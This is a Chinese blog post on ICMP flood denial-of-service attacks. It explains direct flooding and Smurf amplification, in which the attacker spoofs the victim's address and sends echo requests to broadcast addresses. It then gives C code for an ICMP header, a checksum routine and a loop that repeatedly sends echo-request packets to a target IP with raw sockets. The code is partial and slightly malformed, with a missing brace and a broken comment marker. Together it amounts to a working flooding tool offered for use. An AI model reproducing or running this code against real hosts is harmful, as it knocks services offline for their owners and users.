ICMP flood攻击


icmp flood属于flood的其中一种.

达到效果有以下实现方法

1.两败俱伤 此处转载自http://hi.baidu.com/1tata/item/7bcfcd2e330d490c72863e8e

大量的 ICMP消息发送给目标系统,使得它不能够对合法的服务请求做出响应。中美黑客大战中的多数中国黑客采用的正是此项技术。ICMP FLOOD攻击实际上是一种两败俱伤的攻击方式,在主机"疯狂"地向攻击目标发送ICMP消息的时候,主机也在消耗自身的系统资源。如果自身的网络资源小 于目标的话,这种攻击就是"蚍蜉撼大树"。因此,ICMP FLOOD攻击为了达到很好的效果,往往要联合多台机器同时攻击同一台机器,从而形成分布式拒绝服务攻击(DDoS)。

2.借刀杀人 此处转载自http://hi.baidu.com/1tata/item/a3d466d06a283e14d90e44b1

攻击者向许多地址发送ICMP Echo Request,但是它却告诉这些地址ICMP Echo Request不是它自己发的,而是"某某"发的,这个"某某"就会成为"众矢之的"。通过伪装目的主机的IP地址,向多个IP 网络的广播地址发送ICMP Echo Request数据包,使得目的主机需要消耗大量CPU 资源和有效带宽来处理来自众多节点的ICMP Reply数据包。该攻击的原理如下图:


从图中可以看出,带宽仅为128Kbps的攻击者可以击溃带宽比其更大(512Kbps)的目标,因为ICMP SMURF采用的手段是"借刀杀人"!它本身并不向目标发送ICMP消息,而是向许多远程主机"诬告"攻击目标向他们发送了ICMP Echo,于是这些远程主机纷纷向攻击目标发送ICMP Reply,导致攻击目标崩溃。有明一代名将袁崇焕督师就是因为满人的反间计而被崇祯凌迟,并被当时的北京市民争其肉而食的。网络攻击中的"借刀杀人"照 样威力无穷。



下面先介绍一下ICMP的组成




// 定义ICMP首部
typedef  struct _icmphdr{
unsigned  char i_type;  // 8位类型
unsigned  char i_code;  // 8位代码
unsigned  short i_cksum;  // 16位校验和, 从TYPE开始,直到最后一位用户数据,如果为字节数为奇数则补充一位
unsigned  short i_id ;  // 识别号(一般用进程号作为识别号), 用于匹配ECHO和ECHO REPLY包
unsigned  short i_seq ;  // 报文序列号, 用于标记ECHO报文顺序
unsigned  int timestamp;  // 时间戳

}ICMP_HEADER; 

计算校验和的经典函数: 

复制代码
SHORT checksum(USHORT* buffer,  int size)
{
    unsigned  long cksum =  0;
     while(size> 1)
    {
        cksum += *buffer++;
        size -=  sizeof(USHORT);
    }
     if(size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum>> 16) + (cksum& 0xffff); 
    cksum += (cksum>> 16); 
     return (USHORT)(~cksum);

第一种实现的部分代码如下,2014年4月1日 01:36:21

	/生成ICMP会送请求报文
	char icmp_data[65535]={0};					//要发送的字符串

	((IcmpHeader*)icmp_data)->chksum=0;
	((IcmpHeader*)icmp_data)->type=8;				//会送请求
	((IcmpHeader*)icmp_data)->code=0;				//
	((IcmpHeader*)icmp_data)->id=2;	
	((IcmpHeader*)icmp_data)->timestamp=GetTickCount();         //设置时间戳
	((IcmpHeader*)icmp_data)->seq=0;                             //序列号

	memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);
	((IcmpHeader*)icmp_data)->chksum=
        checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE);  //填入校验和
	int datasize=sizeof(IcmpHeader)+PACKET_SIZE;

	//开始发送数据报文了
	sockaddr_in dst;
	dst.sin_family=AF_INET;
	dst.sin_addr.S_un.S_addr=inet_addr(dstIP);
	DWORD dwStart=GetTickCount();
	while(GetTickCount()-dwStart<10)          //程序运行10秒后退出
	sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));
 

效果图2014年4月1日 01:42:33



  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值